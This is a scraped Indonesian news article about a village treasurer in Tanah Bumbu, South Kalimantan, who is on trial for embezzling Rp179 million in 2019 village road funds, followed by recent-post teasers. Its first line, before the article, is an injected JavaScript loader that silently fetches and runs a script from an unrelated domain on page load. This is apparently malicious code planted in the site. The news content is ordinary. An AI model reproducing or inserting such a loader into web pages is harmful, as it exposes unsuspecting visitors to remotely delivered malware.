(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tilep Uang Rp179 Juta, Bendahara Desa di Tanbu Diadili


KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan tindak pidana korupsi terjadi pada salah satu desa di Kabupaten Tanah Bumbu (Tanbu), Kalimantan Selatan.

Maria Hartati, Bendahara Desa Sarigadung, Kecamatan Simpang Empat, Kabupaten Tanbu, didakwa telah merugikan keuangan negara sebesar Rp179 juta.

Uang ratusan juta ditilep terdakwa dari Anggaran Pendapatan dan Belanja Desa (APBDes) Sari Gadung tahun 2019.

Sidang perdana dengan agenda dakwaan digelar di Pengadilan Tipikor Banjarmasin, Kamis (28/11/2024) siang, dipimpin Ketua Majelis Suwandi SH MH dan dua Hakim Anggota.

Baca juga: 28 November Hari Dongeng Nasional

Jaksa Penuntut Umum (JPU) Ayugi Zasubho Bestia dalam uraian dakwaan mengungkapkan terdakwa selaku Bendahara Desa telah menyalahgunakan Alokasi Dana Desa (ADD).

Di dalamnya terdapat anggaran pembiayaan pelaksanaan kegiatan peningkatan jalan berupa rabat beton di Desa Sarigadung sebesar Rp179.060.000.

Modus terdakwa selaku Kaur Keuangan setelah melakukan penarikan dana desa di bank, tidak menyimpan di brankas desa, melainkan disimpan di rumah terdakwa.

“Saat pencairan, saksi Pj Kades minta menyimpan di brankas, tapi disimpan di rumah dalam bentuk tunai. Dan uang tersebut digunakan untuk kepentingan pribadi terdakwa,” ungkap JPU.

Baca juga: 500 Guru PAUD di Kabupaten Banjar Ikuti Penguatan Literasi PAUD 2024

Masih lanjut Zasubho, akibat perbuatan terdakwa yang melakukan penyelewengan dana Desa Sarigadung tahun anggaran 2019, merugikan keuangan negara sebesar Rp179 juta.

Dalam dakwaan, JPU memasang pasal 2 ayat 1 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sedangkan subsidair untuk ketiga terdakwa didakwa dengan pasal 3 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Kemudian JPU juga memasang dakwan alternatif kedua yaitu Pasal 9 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: Kurang Satu Jam, Sembako Murah di Desa Banua Hanyar Terjual

Pada sidang perdana, terdakwa Maria Hartati yang didampingi penasehat hukum mengaku tidak mengajukan eksepsi atas dakwaan JPU dan memilih sidang dilanjutkan ke tahap pembuktian.

Ketua Majelis Hakim Suwandi menetapkan sidang berikutnya akan digelar dua mingguan kedepan.

“Sidang ditunda dan akan dilanjutkan tanggal 5 Desember 2024 dengan agenda pemeriksaan saksi,” ucap Suwandi. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.